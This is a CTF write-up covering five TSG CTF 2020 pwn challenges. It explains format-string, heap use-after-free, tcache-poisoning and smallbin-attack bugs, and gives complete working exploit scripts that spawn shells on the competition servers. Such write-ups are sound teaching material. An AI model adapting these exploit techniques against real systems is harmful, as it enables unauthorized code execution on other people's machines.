TSG CTF 2020 had been held from July 11th 07:00 UTC for 24 hours.
I played it in DefenitelyZer0
, a collabolation team of Defenit
and zer0pts
, and reached 2nd place.
I was one of the pwn members and we solved all the pwn tasks. I got 5 out of 6 flags with the help of other members.
Here's the tasks and solvers for some tasks:
- [Pwn 147pts] Beginner's Pwn (42 solves)
- [Pwn 240pts] Detective (14 solves)
- [Pwn 248pts] Violence Fixer (13 solves)
- [Pwn 322pts] RACHELL (7 solves)
- [Pwn 341pts] Karte (5 solves)
We're given an x86-64 ELF.
$ checksec -f beginners_pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 64 Symbols Yes 0 0 beginners_pwn
The program is quite simple.
readn
uses syscall
instead of read
function.
We can put 0x18 bytes onto stack and it's passed as the first argument of scanf
, which causes FSB.
My idea is use %s
to cause stack overflow.
Since SSP is enabled, my exploit overwrites the GOT of __stack_chk_fail
with a ret gadget.
payload = b"%7$s%s\0\0" payload += p64(elf.got('__stack_chk_fail')) payload += p64(0xdeadbeef) sock.send(payload) sock.sendline(p64(rop_ret)[:-1])
Now we can simply send ROP chain.
The problem is that the binary doesn't have output functions such as puts
or printf
.
We don't know of the libc version but there's a syscall
instruction in readn
function.
Our goal is to use this syscall
with rax
set to SYS_execve
, rdi
pointed to "/bin/sh"
, rdx
and rsi
set to NULL.
It's easy to prepare "/bin/sh."
Also, we can set rdx
and rsi
to NULL by ret2csu.
The only obstacle is rax
. There's no gadget to set rax
.
addr_binsh = elf.section(".bss") + 0x80 addr_fmt = elf.section(".bss") + 0x800 payload = b'\0' payload += p64(0xdeadbeefcafebabe) payload += p64(0xdeadbeef) payload += p64(rop_pop_rdi) payload += p64(addr_binsh) payload += p64(rop_pop_rsi_r15) payload += p64(0x11) payload += p64(0) payload += p64(elf.symbol("readn")) payload += p64(csu_popper) payload += flat([ 0, 1, addr_binsh, 0, 0, addr_binsh + 8 ], map=p64) payload += p64(csu_caller) sock.sendline(payload) time.sleep(1) sock.sendline(b"/bin/sh\0" + p64(rop_syscall))
I used scanf
to overcome this.
As scanf
returns the number of read units, we can simply call scanf("%c%c%c%c......")
and send 59 characters.
This is my final solution:
from ptrlib import * import time """ #libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") elf = ELF("./beginners_pwn") sock = Process("./beginners_pwn") """ elf = ELF("./beginners_pwn") sock = Socket("35.221.81.216", 30002) rop_ret = 0x004012c4 rop_pop_rdi = 0x004012c3 rop_pop_rsi_r15 = 0x004012c1 rop_syscall = 0x40118f csu_popper = 0x4012ba csu_caller = 0x4012a0 payload = b"%7$s%s\0\0" payload += p64(elf.got('__stack_chk_fail')) payload += p64(0xdeadbeef) sock.send(payload) sock.sendline(p64(rop_ret)[:-1]) addr_binsh = elf.section(".bss") + 0x80 addr_fmt = elf.section(".bss") + 0x800 payload = b'\0' payload += p64(0xdeadbeefcafebabe) payload += p64(0xdeadbeef) payload += p64(rop_pop_rdi) payload += p64(addr_binsh) payload += p64(rop_pop_rsi_r15) payload += p64(0x11) payload += p64(0) payload += p64(elf.symbol("readn")) payload += p64(rop_pop_rdi) payload += p64(addr_fmt) payload += p64(rop_pop_rsi_r15) payload += p64(0x401) payload += p64(0) payload += p64(elf.symbol("readn")) payload += p64(rop_pop_rdi) payload += p64(addr_fmt) payload += p64(rop_pop_rsi_r15) payload += p64(addr_fmt) payload += p64(0) payload += p64(elf.plt("__isoc99_scanf")) payload += p64(csu_popper) payload += flat([ 0, 1, addr_binsh, 0, 0, addr_binsh + 8 ], map=p64) payload += p64(csu_caller) payload += p64(0xffffffffdeadbeef) assert not has_space(payload) sock.sendline(payload) time.sleep(1) sock.sendline(b"/bin/sh\0" + p64(rop_syscall)) sock.sendline(b"%1$c" * 59) sock.send("A" * 59) sock.interactive()
First blood!
$ checksec -f ./detective RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 92 Symbols Yes 0 4 ./detective
We need to prepare a file named flag
.
The flag must start with TSGCTF{
, end with }
, and between them must consist of hex characters.
The program first asks which offset of the flag to load into memory. (It copied only one byte of the flag.)
$ ./detective index > 0 --------------- 0: alloc 1: dealloc 2: read --------------- >
And we can use read
to copy the byte into an allocated chunk.
Racrua had already found that it doesn't check the boundary of the offset, which causes OOB write over heap.
However, what we can write is one byte of the flag string.
I immediately realized I could use error based attack to leak the flag byte by byte.
The idea is to overwrite the most least byte of fd
of a freed chunk and corrupt the fastbin link.
I prepared a fake chunk in advance so that it won't crash ONLY WHEN the flag character matches the guess character.
It's better to paste the exploit rather than explain it.
from ptrlib import * def alloc(index, size, data): sock.sendlineafter("> ", "0") sock.sendlineafter("> ", str(index)) sock.sendlineafter("> ", str(size)) r = sock.recv() sock.sendline(data) if b'data' in r: return True else: return False def dealloc(index): sock.sendlineafter("> ", "1") sock.sendlineafter("> ", str(index)) def read(index, offset): sock.sendlineafter("> ", "2") sock.sendlineafter("> ", str(index)) sock.sendlineafter("> ", str(offset)) logger.level = 0 flag = "" for pos in range(7 + 2, 40): for guess in range(0, 0x10): sock = Socket("35.221.81.216", 30001) sock.sendlineafter("> ", str(pos)) print(pos, guess) for i in range(7): alloc(0, 0x78, "A") dealloc(0) for i in range(7): alloc(0, 0x18, "A") dealloc(0) alloc(0, 0x18, "A") dealloc(0) if guess < 10: payload = b'A' * (0x18 + guess) + p64(0x81) else: payload = b'A' * (0x18 + 0x31 + guess - 10) + p64(0x81) alloc(0, 0x78, payload) alloc(1, 0x78, "B") dealloc(0) dealloc(1) alloc(0, 0x18, "evil") read(0, 0xa0) dealloc(0) alloc(0, 0x78, "A") if alloc(1, 0x78, "B"): flag += hex(guess)[2:] print("Found: " + hex(guess)[2:]) print(flag) break sock.close() else: print("Bad luck!") exit(1)
First blood!
This program is a self-made heap manager.
$ checksec -f violence-fixer RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 95 Symbols Yes 0 4 violence-fixer
It relies on libc malloc but tries to manage the heap by it's own way, which obviously causes many problems.
For example, a freed small chunk will be linked into tcache but the manager subtracts top and overlap occurs.
Thus, it's quite easy to leak libc address.
The manager usually allocated a chunk by it's own mechanism but we can use delegate
to use the return value of malloc
once.
We can use this to pop a fake chunk like __free_hook
.
from ptrlib import * def alloc(size, data): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(size)) sock.sendafter(": ", data) def show(index): sock.sendlineafter("> ", "2") sock.sendlineafter(": ", str(index)) return sock.recvline() def delete(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(index)) def delegate(size, data): sock.sendlineafter("> ", "0") sock.sendlineafter("> ", "y") sock.sendlineafter(": ", str(size)) sock.sendafter(": ", data) libc = ELF("./libc.so.6") sock = Socket("35.221.81.216", 32112) sock.sendlineafter(": ", "n") for i in range(9): alloc(0xf8, "A") for i in range(8, -1, -1): delete(i) alloc(0x28, "\xa0") libc_base = u64(show(0)) - libc.main_arena() - 0x220 logger.info("libc = " + hex(libc_base)) alloc(0x1c8, "/bin/sh") for i in range(7): alloc(0xf8, "ponta") for i in range(2, 2 + 6): delete(i) for i in range(4): alloc(0xf8, p64(libc_base + libc.symbol("__free_hook"))) delegate(0xf8, p64(libc_base + libc.symbol("system"))) delete(1) sock.interactive()
3rd blood......
We're given a pseudo shell with a self-made RAM fs.
$ checksec -f rachell RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 107 Symbols Yes 0 6 rachell
When I tried this challenge, @puel had already found the bug.
void sub_rm(struct node *target) { if(target == &root){ write(1,"not allowed\n",12); return; } if(target->p == cwd){ switch(target->type){ case FIL: if(target->buf != NULL) free(target->buf); unlink_child(target); break; case DIR: unlink_child(target); free(target); break; default: panic(); } }else{ switch(target->type){ case FIL: if(target->buf != NULL) free(target->buf); break; case DIR: unlink_child(target); free(target); break; default: panic(); } } }
This is an obvious UAF. Also, @c2w2m2 found a path where no ASCII check takes place.
void sub_pwd(struct node *d) { if(d->p == &root){ write(1,"/",1); print_name_with_check(d); return; } sub_pwd(d->p); write(1,"/",1); write(1,d->name,strlen(d->name)); }
So, I just caused UAF and overlapped a directory name with file content. By freeing the file, the directory name becomes heap address and it's printable through the path above.
With the same principle, I forged the address of directory name by UAF and leaked the libc address as well. As I have libc address and UAF, it's easy tcache poisoning.
from ptrlib import * def run(cmd, arg1, arg2=None, arg3=None): sock.sendlineafter("command> ", cmd) if arg1: sock.sendlineafter("> ", arg1) if arg2: sock.sendlineafter("> ", arg2) if arg3: sock.sendlineafter("> ", arg3) libc = ELF("./libc.so.6") sock = Socket("35.200.117.74", 25252) run("touch", "CCCC") run("echo", "C" * 0x428, "y", "CCCC") run("touch", "XXXX") run("touch", "YYYY") run("touch", "ZZZZ") run("touch", "AAAA") run("echo", "A" * 0xa8, "y", "AAAA") run("touch", "BBBB") run("echo", "B" * 0x28, "y", "BBBB") run("cd", "home") run("rm", "../AAAA") run("rm", "../AAAA") run("rm", "../BBBB") run("mkdir", "0000") run("cd", "0000") run("rm", "../../BBBB") run("rm", "../../BBBB") heap_base = u64(sock.recvregex("/home/(.+)\\$")[0]) - 0xe80 logger.info("heap = " + hex(heap_base)) run("rm", "../../CCCC") payload = b'' payload += p64(1) payload += p64(heap_base + 0x2a0) payload += p64(0) * 0x10 payload += p64(heap_base + 0x540) payload += p64(0) payload += p64(0) run("echo", payload, "y", "../../AAAA") libc_base = u64(sock.recvregex("/home/(.+)\\$")[0]) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) run("rm", "../../AAAA") payload = p64(libc_base + libc.symbol('__free_hook')) payload += p64(heap_base + 0x2a0) payload += p64(0) * 0x10 payload += p64(heap_base + 0x540) payload += p64(0) payload += p64(0) run("echo", payload, "y", "../../AAAA") run("echo", payload, "y", "../../XXXX") payload = p64(libc_base + libc.symbol('system')) payload += b'\x00' * 0xa0 run("echo", payload, "y", "../../YYYY") run("echo", "/bin/sh\0", "y", "../../ZZZZ") run("rm", "../../ZZZZ") sock.interactive()
First blood!
Another heap challenge.
$ checksec -f karte RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 91 Symbols Yes 0 4 karte
It doesn't put NULL after freeing a chunk by realloc, which may cause double free.
The program refers a chunk by searching for the karte id
, which is located at offset 0x08 from the beginning of the buffer.
At the beginning of the buffer keeps the size of the karte.
The program shows 5 options.
0: alloc 1: extend 2: change id 3: show 4: dealloc
However, it actually has 6th option in which it executes /bin/sh
when a global variable authorized
is not 0.
If we free a chunk and it goes to tcache, we can't cause double free because id
is overwritten with tcache->key
and we don't know the heap address yet.
However, we can leak the heap address by putting it into fastbin as id
is not overwritten.
Next, I put 2 chunks into unsorted bin and one of them has a heap address in is id
.
Thus we can refer the chunk and leak the libc address.
I spent lots of time after this.
I knew the goal was to overwrite authorized
.
Of course I tried unsorted bin attack but I realized it's libc-2.31, which has a protection against this attack.
I really hate heap challenges and I don't know much about the heap-related attacks.
I had been stuck here but @stan gave me a link about smallbin attack.
In the smallbin attack, we link smallbin chunks into tcache by requesting a smallbin-sized chunk and the bk
pointer of the last chunk must be forged.
We have to make the corrupted chunk being linked at the last of the tcache entries so that it won't crash.
So, I deallocated many chunks into smallbin.
from ptrlib import * def alloc(id, size): sock.sendlineafter("> ", "0") sock.sendlineafter("> ", str(id)) sock.sendlineafter("> ", str(size)) def extend(id, size): sock.sendlineafter("> ", "1") sock.sendlineafter("> ", str(id)) sock.sendlineafter("> ", str(size)) def change_id(old, new): sock.sendlineafter("> ", "2") sock.sendlineafter("> ", str(old)) sock.sendlineafter("> ", str(new)) def show(id): sock.sendlineafter("> ", "3") sock.sendlineafter("> ", str(id)) id, size = sock.recvregex("id: (.+) size: (.+)") return int(id, 16), int(size, 16) def dealloc(id): sock.sendlineafter("> ", "4") sock.sendlineafter("> ", str(id)) elf = ELF("karte") libc = ELF("libc.so.6") sock = Socket("35.221.81.216", 30005) name = b'Hello' sock.sendlineafter("> ", name) for i in range(9): alloc(i, 0x68) alloc(10 + i, 0x98) for i in range(7, 0, -1): extend(i, 0x98) dealloc(0) dealloc(8) heap_base = show(8)[1] - 0x290 logger.info("heap = " + hex(heap_base)) for i in range(7, 0, -1): dealloc(i) dealloc(11) dealloc(12) libc_base = show(heap_base + 0x520)[1] - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) for i in range(6): dealloc(13 + i) alloc(23, 0xa0) for i in range(7): alloc(20 + i, 0x98) change_id(libc_base + libc.main_arena() + 240, elf.symbol("authorized") - 0x10) alloc(98, 0x98) sock.interactive()
Well... what was the name
for?
Anyway first blood!